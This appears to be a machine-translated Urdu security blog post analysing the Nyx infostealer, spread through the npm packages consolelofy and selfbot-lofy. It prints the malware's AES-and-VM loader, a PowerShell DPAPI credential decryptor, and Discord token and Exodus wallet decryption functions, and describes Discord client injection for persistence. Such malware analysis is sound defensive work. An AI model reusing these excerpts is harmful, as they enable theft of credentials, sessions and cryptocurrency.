TL؛ ڈاکٹر
Xygeni سیکیورٹی ریسرچ ٹیم دو بدنیتی پر مبنی پیکجوں کے ذریعے فراہم کی گئی ایک نفیس این پی ایم انفوسٹیلر مہم کی نشاندہی کی: consolelofy اور selfbot-lofy.
تازہ ترین ورژن (consolelofy@1.3.0) ایک 216KB AES-انکرپٹڈ پے لوڈ کو سرایت کرتا ہے جو رن ٹائم پر ڈیکرپٹ ہوتا ہے اور اس کے ذریعے انجام دیتا ہے vm.runInNewContext(). چونکہ بدنیتی پر مبنی منطق مکمل طور پر انکرپٹڈ ہے، اسٹرنگ انسپیکشن پر انحصار کرنے والے جامد اسکینرز عمل درآمد کے وقت تک اس کے رویے کا مشاہدہ نہیں کرسکتے ہیں۔
ایک بار ڈکرپٹ ہونے کے بعد، پے لوڈ، اندرونی طور پر برانڈڈ Nyx چوری کرنے والا، اہداف:
- ڈسکارڈ تصدیقی ٹوکن
- 50+ براؤزر اسناد کے اسٹورز
- 90+ cryptocurrency والیٹ ایکسٹینشنز
- Roblox، Instagram، Spotify، Steam، Telegram، اور TikTok سیشنز
- ڈسکارڈ ڈیسک ٹاپ کلائنٹ استقامت
دونوں پیکجوں کے تمام 20 ورژنز کی اطلاع دی گئی تھی اور اس کی تصدیق کی گئی تھی کہ وہ نقصان دہ ہیں۔
اس npm Infostealer کا تکنیکی جائزہ
روایتی انسٹال ٹائم میلویئر کے برعکس، یہ مہم ایک پر انحصار کرتی ہے۔ رن ٹائم ڈکرپشن ماڈل.
وہاں ہے:
- کوئی بدنیتی پر مبنی نہیں۔
preinstallorpostinstallhooks - کوئی واضح انسٹال ٹائم نیٹ ورک کالز نہیں ہیں۔
- کوئی سادہ متن کی سند کی کٹائی کی منطق نہیں ہے۔
جب ماڈیول درآمد کیا جاتا ہے تو پے لوڈ چالو ہوجاتا ہے۔ پورے بدنیتی پر مبنی جسم کو انکرپٹ کیا گیا ہے اور صرف رن ٹائم کے وقت میموری میں مکمل ہوتا ہے۔
یہ ڈیزائن خاص طور پر پیکیج کی تنصیب کے دوران پتہ لگانے سے گریز کرتا ہے۔
یہ npm Infostealer اصل میں کیسے عمل کرتا ہے۔
اس کا تجزیہ کرنے سے پہلے کہ Nyx Stealer کیا چوری کرتا ہے، ہمیں سمجھنا ہوگا۔ یہ کس طرح عملدرآمد کرتا ہے.
اس npm infostealer کے اندر بدنیتی پر مبنی منطق ایک مستقل پیٹرن کی پیروی کرتی ہے:
ایک چھوٹا لوڈر ایک بڑے انکرپٹڈ پے لوڈ کو ڈیکرپٹ کرتا ہے اور اسے Node.js VM سیاق و سباق کے اندر متحرک طور پر انجام دیتا ہے۔
یہ ڈیزائن جان بوجھ کر بنایا گیا ہے۔ حملہ آور صرف مبہمیت کے پیچھے فعالیت نہیں چھپا رہا ہے، وہ ہیں۔ بدنیتی پر مبنی کوڈ کو جامد مرئیت سے مکمل طور پر ہٹانا.
اعلیٰ سطحی ایگزیکیوشن ماڈل
اعلی سطح پر، ریپر چار چیزیں کرتا ہے:
- SHA-256 کا استعمال کرتے ہوئے ہارڈ کوڈ پاس فریز سے AES کلید حاصل کرتا ہے۔
- AES-256-CBC کا استعمال کرتے ہوئے ایک بڑے ہیکس انکوڈ شدہ سائفر ٹیکسٹ کو ڈیکرپٹ کرتا ہے۔
- ڈیکرپٹ شدہ جاوا اسکرپٹ کو استعمال کرتے ہوئے انجام دیتا ہے۔
vm.runInNewContext() - ایک سینڈ باکس فراہم کرتا ہے جو اب بھی طاقتور رن ٹائم پرائمیٹوز کو بے نقاب کرتا ہے۔
بنیادی تکنیک کا خلاصہ
| اجزاء | ترتیب / قدر |
|---|---|
| الگورتھم | AES-256-CBC |
| کلیدی اخذ | SHA-256(پاسفریز) |
| ابتدائی ویکٹر (IV) | 0x00 کے 16 بائٹس |
| پھانسی | vm.runInNewContext(ڈیکرپٹڈ، سینڈ باکس) |
تنقیدی طور پر، سینڈ باکس گزرتا ہے:
requireprocessBuffer- ٹائمر
- ماڈیول برآمدات
اس کا مطلب ہے کہ ڈکرپٹڈ پے لوڈ مکمل صلاحیت کو برقرار رکھتا ہے:
- سپون کے عمل
- فائلیں پڑھیں اور لکھیں۔
- نیٹ ورک کال کریں۔
- مقامی ایپلی کیشنز میں ترمیم کریں۔
یہ ایک محدود VM نہیں ہے۔ یہ ایک وی ایم ہے جو پھانسی کے ٹرامپولین کے طور پر استعمال ہوتا ہے۔
رن ٹائم انکرپشن پیٹرن (کور ایگزیکیوشن میکانزم)
لوڈر چھوٹا ہے۔
بدنیتی پر مبنی جسم نہیں ہے۔
ذیل میں پیکیج کے اندر پایا جانے والا عمل درآمد کا نمونہ ہے:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } کیوں یہ معاملات
ڈکرپٹڈ پے لوڈ:
- کیا نوٹ npm پیکیج کے اندر سادہ متن میں موجود ہے۔
- سادہ سے پوشیدہ ہے۔
grepیا جامد سٹرنگ سکیننگ - صرف رن ٹائم کے وقت میموری میں کام کرتا ہے۔
- مکمل نوڈ رن ٹائم صلاحیتوں کے ساتھ انجام دیتا ہے۔
یہ AES + VM عمل درآمد کا مجموعہ ایک مضبوط طرز عمل کا اشارہ ہے۔ npm infostealer جامد معائنہ سے بچنے کی کوشش کر رہا ہے۔.
دوسرے الفاظ میں:
اگر آپ پیکج سورس ٹری کو اسکین کرتے ہیں تو آپ کو چوری کرنے والا نظر نہیں آتا ہے۔
آپ کو ایک ڈکریپٹر نظر آتا ہے۔
ڈکرپشن کے بعد کیا ہوتا ہے۔
ایک بار عمل میں آنے کے بعد، Nyx Stealer متوازی ڈیٹا اکٹھا کرنے کی لہریں شروع کرتا ہے۔
لہر 1: براؤزر کی اسناد نکالنا
میلویئر:
- NuGet CDN سے ازگر کا رن ٹائم ڈاؤن لوڈ کرتا ہے۔
- کرپٹوگرافک لائبریریوں کو انسٹال کرتا ہے۔
- کرومیم پر مبنی اسنادی اسٹورز کو نکالتا ہے۔
- DPAPI سے محفوظ کردہ رازوں کو خفیہ کرتا ہے۔
مقامی پابندیوں کو مرتب کرنے کے بجائے، یہ پاور شیل کو ونڈوز ڈی پی اے پی آئی کو براہ راست کال کرنے کے لیے فائدہ اٹھاتا ہے۔
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } یہ نقطہ نظر:
- تالیف کے نمونے سے بچتا ہے۔
- مقامی Windows crypto APIs استعمال کرتا ہے۔
- انتظامی ٹولنگ میں گھل مل جاتا ہے۔
یہ او ایس لیول کی کریڈینشل ڈکرپشن ہے، سکریپنگ نہیں۔
لہر 2: ڈسکارڈ ٹوکن ڈکرپشن
چوری کرنے والا پروٹوکول سے واقف ہے۔ یہ Discord کے انکرپٹڈ ٹوکن فارمیٹ کو سمجھتا ہے۔
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } آپریشنل بہاؤ:
- Discord's سے ماسٹر کلید نکالیں۔
Local State - DPAPI کے ذریعے ماسٹر کلید کو ڈکرپٹ کریں۔
- AES-GCM ٹوکن بلاب کو ڈکرپٹ کریں۔
- Discord API کے خلاف ٹوکنز کی توثیق کریں۔
- نائٹرو، بیجز، بلنگ کی معلومات سے مالا مال کریں۔
یہ عام سندی ڈمپنگ نہیں ہے۔ یہ پروٹوکول سے آگاہ سیشن ہائی جیکنگ ہے۔
لہر 3: کریپٹو کرنسی والیٹ ٹارگٹنگ
npm infostealer شمار کرتا ہے:
- 90+ براؤزر والیٹ ایکسٹینشنز
- 27 ڈیسک ٹاپ بٹوے
- کولڈ پرس کے راستے
- خروج کے بیج کی فائلیں۔
بیجوں کو ڈکرپشن کرنے کی کوشش کی مثال:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } اگر کامیاب ہو جاتا ہے تو، بٹوے کا سمجھوتہ فوری اور ناقابل واپسی ہے۔
یہ مہم کے سب سے زیادہ قیمت والے منیٹائزیشن ویکٹر کی نمائندگی کرتا ہے۔
ڈسکارڈ ڈیسک ٹاپ انجیکشن کے ذریعے استقامت
اسناد کی کٹائی کے بعد، Nyx Stealer مقامی کو تبدیل کرکے ثابت قدم رہنے کی کوشش کرتا ہے Discord کسٹمر.
ہدف:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js آپریشنل ترتیب
infostealer مندرجہ ذیل اقدامات انجام دیتا ہے:
- ڈسکارڈ کے چلنے والے عمل کو ختم کرتا ہے۔
- انسٹال شدہ ڈسکارڈ ویریئنٹس کا پتہ لگاتا ہے (مستحکم، کینری، پی ٹی بی)
- اوور رائٹ کرتا ہے۔
discord_desktop_core/index.js - حملہ آور کے زیر کنٹرول ویب ہک منطق کو انجیکشن کرتا ہے۔
- ڈسکارڈ کو دوبارہ شروع کرتا ہے۔
یہ یقینی بناتا ہے کہ مستقبل کے Discord سیشنز خود بخود تازہ تصدیقی ٹوکن لیک ہو جائیں۔
اہم بات یہ ہے کہ یہ استقامت طے شدہ کاموں یا رجسٹری میں ترمیم پر انحصار نہیں کرتی ہے۔ یہ ایپلیکیشن لیول کوڈ میں ترمیم کا فائدہ اٹھاتا ہے، جو کہ ایک خفیہ طریقہ ہے۔
یہاں تک کہ اگر بدنیتی پر مبنی این پی ایم پیکیج کو بعد میں ہٹا دیا جاتا ہے، تب بھی ڈسکارڈ کلائنٹ سے سمجھوتہ کیا جاتا ہے۔
تکنیکی موازنہ: Legitimate Selfbot بمقابلہ npm Infostealer
| اجزاء | جائز لائبریری | Nyx npm Infostealer |
|---|---|---|
| خفیہ کاری | کوئی بھی نہیں | مکمل AES-انکرپٹڈ پے لوڈ |
| رن ٹائم VM | کی ضرورت نہیں | vm.runInNewContext پھانسی |
| اسناد تک رسائی | صرف Discord API | براؤزر، بٹوے، DPAPI |
| بیرونی ڈاؤن لوڈز | نہیں | نیو گیٹ کے ذریعے ازگر کا رن ٹائم |
| مسلسل | نہیں | ڈسکارڈ کلائنٹ انجیکشن |
| رقم کمانے | بوٹ آٹومیشن | اسناد کی دوبارہ فروخت |
اکیلے خفیہ کاری کی پرت پہلے ہی اس مہم کو ایک عام اوپن سورس فورک سے الگ کرتی ہے۔
ایک جائز Discord selfbot کے پاس اپنے پورے کوڈبیس کو انکرپٹ کرنے، DPAPI تک رسائی حاصل کرنے، بیرونی رن ٹائمز ڈاؤن لوڈ کرنے، یا ڈیسک ٹاپ ایپلیکیشن انٹرنلز میں ترمیم کرنے کے لیے پاور شیل پیدا کرنے کی کوئی وجہ نہیں ہے۔ جب وہ صلاحیتیں انحصار کے اندر ظاہر ہوتی ہیں جو ڈسکارڈ تعاملات کو خودکار کرنے کا دعوی کرتی ہے، تو آرکیٹیکچرل مماثلت کو نظر انداز کرنا ناممکن ہو جاتا ہے۔
تحقیقاتی نقطہ نظر سے، یہ npm infostealer متعدد تہوں میں نشانات چھوڑتا ہے۔ تاہم، سب سے زیادہ قابل اعتماد اشارے ہارڈ کوڈ شدہ URLs یا مخصوص فائل پاتھ نہیں ہیں، کیونکہ وہ ورژن کے درمیان تبدیل ہو سکتے ہیں۔ اس کے بجائے، پائیدار سگنل ساختی ہیں۔
پیکیج کی سطح پر، سب سے مضبوط سرخ پرچم ایک بڑے انکرپٹڈ پے لوڈ اور رن ٹائم ڈکرپشن ریپر کا مجموعہ ہے جو فوری طور پر vm.runInNewContext(). اگرچہ اکیلے انکرپشن فطری طور پر بدنیتی پر مبنی نہیں ہے، لیکن ڈسکارڈ یوٹیلیٹی پیکیج کے اندر متحرک VM عمل درآمد کے بعد AES ڈکرپشن کا استعمال انتہائی غیر معمولی ہے۔
میزبان کی سطح پر، مشکوک نمونوں میں غیر متوقع DPAPI ڈکرپشن سرگرمی، Node.js انحصاری سیاق و سباق سے اسپوننگ کا عمل، اور مقامی ایپلیکیشن فائلوں میں ترمیم شامل ہے جنہیں تیسرے فریق کی لائبریریوں کو کبھی تبدیل نہیں کیا جانا چاہیے۔ اسی طرح، نیٹ ورک کی پرت پر، ترقی کے انحصار کے ذریعے شروع کی جانے والی آؤٹ باؤنڈ ویب ہک طرز کی کمیونیکیشن ایک اور معنی خیز بے ضابطگی کی نمائندگی کرتی ہے۔
دوسرے لفظوں میں، پتہ لگانے کی سطح سمجھوتے کا واحد اشارہ نہیں ہے۔ یہ انکرپشن، رن ٹائم ایگزیکیوشن، اسناد تک رسائی، اور استقامت کے رویے کا باہمی تعلق ہے جو خطرے کو ظاہر کرتا ہے۔
Xygeni کے ساتھ کھوج اور تخفیف
اس npm infostealer کی شناخت کی گئی تھی۔ Xygeni's Malware Early Warning (MEW) سادہ دستخطی ملاپ کے بجائے پرتوں والے رویے کے ارتباط کے ذریعے۔
معلوم بدنیتی پر مبنی تاروں کو تلاش کرنے کے بجائے، MEW پورے ماخذ درخت میں ساختی بے ضابطگیوں کا جائزہ لیتا ہے۔ اس صورت میں، پتہ لگانا کئی سگنلز کے کنورجن سے سامنے آیا: ماڈیول انٹری پوائنٹ میں ایمبیڈڈ AES ڈکرپشن روٹین، VM سیاق و سباق کے اندر فوری عمل درآمد، اور واضح صلاحیت سے ارادے کی مماثلت۔
اہم بات یہ ہے کہ ان میں سے کوئی بھی سگنل صرف بدنیتی پر مبنی ارادے کو ثابت نہیں کرتا ہے۔ تاہم، جب ایک ساتھ تجزیہ کیا جاتا ہے، تو وہ رن ٹائم رویے کو چھپانے کی کوشش کو بے نقاب کرتے ہیں۔ یہ تہہ دار نقطہ نظر اعلیٰ اعتماد کے سپلائی چین کے خطرات کی نشاندہی کرتے ہوئے غلط مثبت کو نمایاں طور پر کم کرتا ہے۔
مزید برآں، یہ کیس واضح کرتا ہے کہ اکیلے انسٹال ٹائم معائنہ کیوں ناکافی ہے۔ بدنیتی پر مبنی منطق لائف سائیکل اسکرپٹس میں نہیں رہتی۔ یہ ماڈیول کے لوڈ ہونے کے بعد ہی فعال ہوتا ہے اور میموری میں ڈکرپٹ ہونے کے بعد ہی نظر آتا ہے۔ لہذا، مؤثر دفاع کے لیے خفیہ کاری سے آگاہی کے تجزیے، طرز عمل کے پیٹرن کی شناخت، اور تنصیب کے واقعات سے آگے مسلسل انحصار کی نگرانی کی ضرورت ہوتی ہے۔
رجسٹری ٹیک ڈاؤن رد عمل ہے۔ رن ٹائم آگاہ تجزیہ روک تھام ہے۔
یہ این پی ایم انفوسٹیلر کیوں اہمیت رکھتا ہے۔
Nyx Stealer npm پر مبنی میلویئر میں ساختی ارتقاء کی نمائندگی کرتا ہے۔
تاریخی طور پر، بہت سے بدنیتی پر مبنی پیکجز دکھائی دینے والے انسٹال ٹائم اسکرپٹس یا واضح کریڈینشل ایکسفلٹریشن اینڈ پوائنٹس پر انحصار کرتے ہیں۔ اس کے برعکس، یہ مہم اپنے پے لوڈ کو خفیہ کرتی ہے، رن ٹائم پر عمل درآمد کو موخر کرتی ہے، جائز آپریٹنگ سسٹم APIs کا فائدہ اٹھاتی ہے، اور قابل اعتماد ایپلی کیشنز کے اندر استقامت قائم کرتی ہے۔
نتیجتاً، حملہ آور کو خود این پی ایم کے بنیادی ڈھانچے سے فائدہ اٹھانے کی ضرورت نہیں ہے۔ اس کے بجائے، حملہ کامیاب ہو جاتا ہے کیونکہ انحصار کی تنصیب کا مطلب اعتماد ہے۔ ڈویلپرز فرض کرتے ہیں کہ لائبریری کو درآمد کرنا ایک محفوظ عمل ہے، خاص طور پر جب یہ خود کو ایک مقبول ٹول کے قابل فہم کانٹے کے طور پر پیش کرتا ہے۔
جیسے جیسے ماحولیاتی نظام بڑھتے رہتے ہیں اور کانٹے پھیلتے رہتے ہیں، وہ مضمر اعتماد کی حد تیزی سے پرکشش حملے کی سطح بن جاتی ہے۔ لہذا، جدید npm infostealers کے خلاف دفاع کے لیے جامد تاروں کو تلاش کرنے کے بجائے تعمیراتی نمونوں کو پہچاننے کی ضرورت ہے۔
بالآخر، یہ مہم ایک اہم سبق کو تقویت دیتی ہے۔ software supply chain security: سب سے زیادہ خطرناک خطرات وہ نہیں ہیں جو پہلی نظر میں بدنیتی پر مبنی نظر آتے ہیں، بلکہ وہ ہیں جو ساختی طور پر جائز دکھائی دیتے ہیں جب تک کہ رن ٹائم ان کے حقیقی رویے کو ظاہر نہ کرے۔




